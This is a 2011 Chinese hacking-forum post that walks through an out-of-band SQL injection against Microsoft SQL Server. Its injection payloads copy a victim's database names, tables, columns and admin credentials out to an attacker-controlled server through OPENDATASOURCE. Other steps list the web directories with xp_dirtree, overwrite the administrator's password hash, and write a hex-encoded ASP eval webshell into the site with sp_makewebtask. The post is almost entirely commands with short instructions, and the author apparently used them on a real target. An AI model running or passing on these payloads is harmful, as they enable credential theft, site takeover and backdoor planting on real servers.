灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3821回复:0

[SQL Server]Mssql反弹注射实录收集

楼主#
更多 发布于:2011-11-30 12:19
某天晚上研究一个SA注射点时华B给我传来的些资料,

发上来做个记录。脑壳越来越不好用了哎

改管理员密码

‘;update [user] set [pwd]=’1519804e89226cf9893a05d9e3fc8bbb’ where [LogonName]=’hmingming’;–

————————————————————————————–
列目录
create database test(本地执行建库)

(本地执行在上面的TEST库上建表和字段)

use test create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255))

———————————————————————————————————————————————————————
测试是否和本地数据连接(注入点执行)

insert into openrowset('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima','select id from test.dbo.temp1') select name from master.dbo.sysdatabases--

netstat -an | find “1433″(本地执行)

create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255))–
(本地执行,在test这个数据库用查询分析器)

‘;drop table temp–(注入点执行,为的是避免和已经有的表发生冲突)
_________________________________________________________________________________
(注入点执行,建表和字段方便下面的语句插入)
‘;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255))–

———————————————————————————————————————————————————

‘;insert into temp(id,num1,num2) exec master.dbo.xp_dirtree ‘D:\www\jiage\’,1,1–

(注入点执行,列目录并插入到TEMP表中)
————————————————————————
(注入点执行,把列好的目录复制到test库的TEMP1表中)

';insert into
opendatasource('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima;database=test').test.dbo.temp1 select * from temp--

______________________________________________________________
select * from temp1(本地执行,列出了目录嘿嘿)

‘;delete temp–(注入点执行,清空数据表)

delete temp1(本地查询分析器执行,清空数据表)

鄙视黑手彭超select * from temp–竟然写成了select temp from temp–
—————————————————————————————–
猜表
(以下语句都为本地执行)
create database lcx(建库)

Create TABLE ku(name nvarchar(256) null);(建表,方便下面的查询到库名复制到这个表中)

Create TABLE biao(id int NULL,name nvarchar(256) null);(建表,方便下面的查询到的表明复制到这个表

中)/nvarchar是数据类型而256是数据长度null是没有任何记录方便鸟儿们看懂(记住我也是爱鸟)/

____________________________________________________________________________
(注入点执行,把查询到的该服务器的所有数据库名复制到刚才新建的ku这个表中,去看看本地看看lcx这个数据库中的ku这个表的返回所有行吧有惊喜呦)

';insert into opendatasource('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases--

__________________________________________________________________________
(注入点执行得到当前数据库名,执行前在本地清空一下上面语句留下的垃圾,什么?你不会?MYGOD delete ku本地查询分析器切换到lcx库执行)

';Insert into opendatasource('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima;database=lcx').lcx.dbo.ku select db_name(0)--

__________________________________________________________________________________
(注入点执行,把查询到的该服务器的所有当前数据库的表名复制到刚才新建的biao这个表中,去看看本地看看lcx这个数据库中的biao这个表的返回所有行吧有惊喜呦)
';insert into opendatasource('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--

___________________________________________________________________
(跨库查询如果查不出来是因为没有跨库查询的权限)

';insert into opendatasource('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima;database=lcx').lcx.dbo.biao select [id],[name] from JIAGE%23@HL0212_Week.dbo.sysobjects where xtype='U'--
OK(得到了库,和表那么下面我们是不是要猜内容了?想吃维生素糖果的跟我来)

_________________________________________________________________________
(本地查询分析器在LCX库执行,复制系统表syscolumns的结构到tmpcolumns方便下面的语句查询到的结果复制到tmpcolumns这个表当中)
select * into [tmpcolumns] from syscolumns where 1=2–
_________________________________________________________
(注入点执行,首先这个里解释一下id=558625033=name=user,这句意思是查询数据库为user表的所有列名并复制到tmpcolumns中)

';insert into opendatasource('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=558625033--

/
when 34 then ”image”
when 35 then ”text”
when 52 then ”smallint”
when 56 then ‘int”
when 61 then ”datetime”
when 62 then ”float”
when 108 then ”numeric”
when 167 then ”varchar”
when 175 then ”char”
when 231 then ”nvarchar”
/

create table caonima([LogonTime] datetime null,[pwd] varchar(200) NULL,[name] varchar(200) null,[LogonName] varchar(200) null,[ZipCode] varchar(200) null);

(本地查询分析器执行,看上面的建表和这个建表有什么不同?其实一样啦只是这样比较好,

注意user表最好写成其他的表名字随便起别叫user就行因为怕系统已经存在此表和这个表冲突,

这个表不是胡乱建的follow me首先单开刚才的表tmpcolumns看仔细看,

如果是pwd的xtype是167那么他的数据库类型就是varchar那后面的长度就是length,

解释的够清楚了吧?不清楚我也没招儿了!)

';insert into opendatasource('sqloledb','server=x.x.x.x,1433;uid=fuck;pwd=caonima;database=lcx').lcx.dbo.caonima select LogonTime,pwd,name,LogonName,ZipCode from [user]--

(注入点执行把查询到的结果复制到刚才新建的caonima这个表中。为什么只查询3个字段呢?

以为其他东西不是敏感信息呗!为什么上面只建3个列名呢,是为了和这句对应呗!

特别注意查询的顺序要和刚才建表的字段顺序一样。)

OK到此为止我们已经搞到了管理员用户名和密码剩下的就是破解管理员32MD5HASH,

破不了?cmd5.com要钱?我肏,我忍!改密码吧

';update [user] set [pwd]='1519804e89226cf9893a05d9e3fc8bbb' where [LogonName]='hmingming';--

(注入点执行改管理员密码,改名字为hmingming的管理员的md5

密码2264964=1519804e89226cf9893a05d9e3fc8bbb)

好了通过上面的方法我们拿到了管理员密码和用户名我们是不是就该去登陆他的后台呢?LET’S FUCK

找不到后来路径?好办用最上面的列目录找吧。

进了后台拿不拿到SHELL是您自己的事情了,我只教您如何进后台如果拿不到。。。。。。忍吧!

哎,上面的这些垃圾是花了我一天的时间搞出来的,很辛苦啊,大家有钱的捧个钱场没钱的捧个人场,

这都他妈是被管理员逼出来的,本来已经拿到了网站的路径,但是死活不让backuplog,

听高老大说是把这个权限给设置掉了,所以有了此文,万不得以千万别这样搞,

会累死人的真的。除非目标网站和你有仇。再整几句废话,天冷了加件衣服吧,

注意:上面这些方法都是在目标IIS屏蔽错误不报错的情况下搞,特别注意上面的

服务器是我的大佬们千万不要动我服务器啊,有必要说下在本地上面的用户名和密码

是SA权限的他是整个这些废话的前提所以些建SA权限的用户。
PS:高老大说有反弹注入工具,可是人家关闭了回显不报错,工具本没没用,

如果有回显单纯是为了速度快用反弹注入工具我觉得没必要

drop table cmd--
create table cmd(a char(255))--
Insert into cmd(a) values (0x3C254576616C20526571756573742822232229253E)--
execute sp_makewebtask @outputfile='D:\www\jiage\test.asp',@query='select a from cmd'--

上面的这些貌似必须是SA才能执行,DB是否可以执行不得而知,也是给大家一个

BACKUPLOG不好使的时候用下上面这招儿


喜欢0 评分0
游客

返回顶部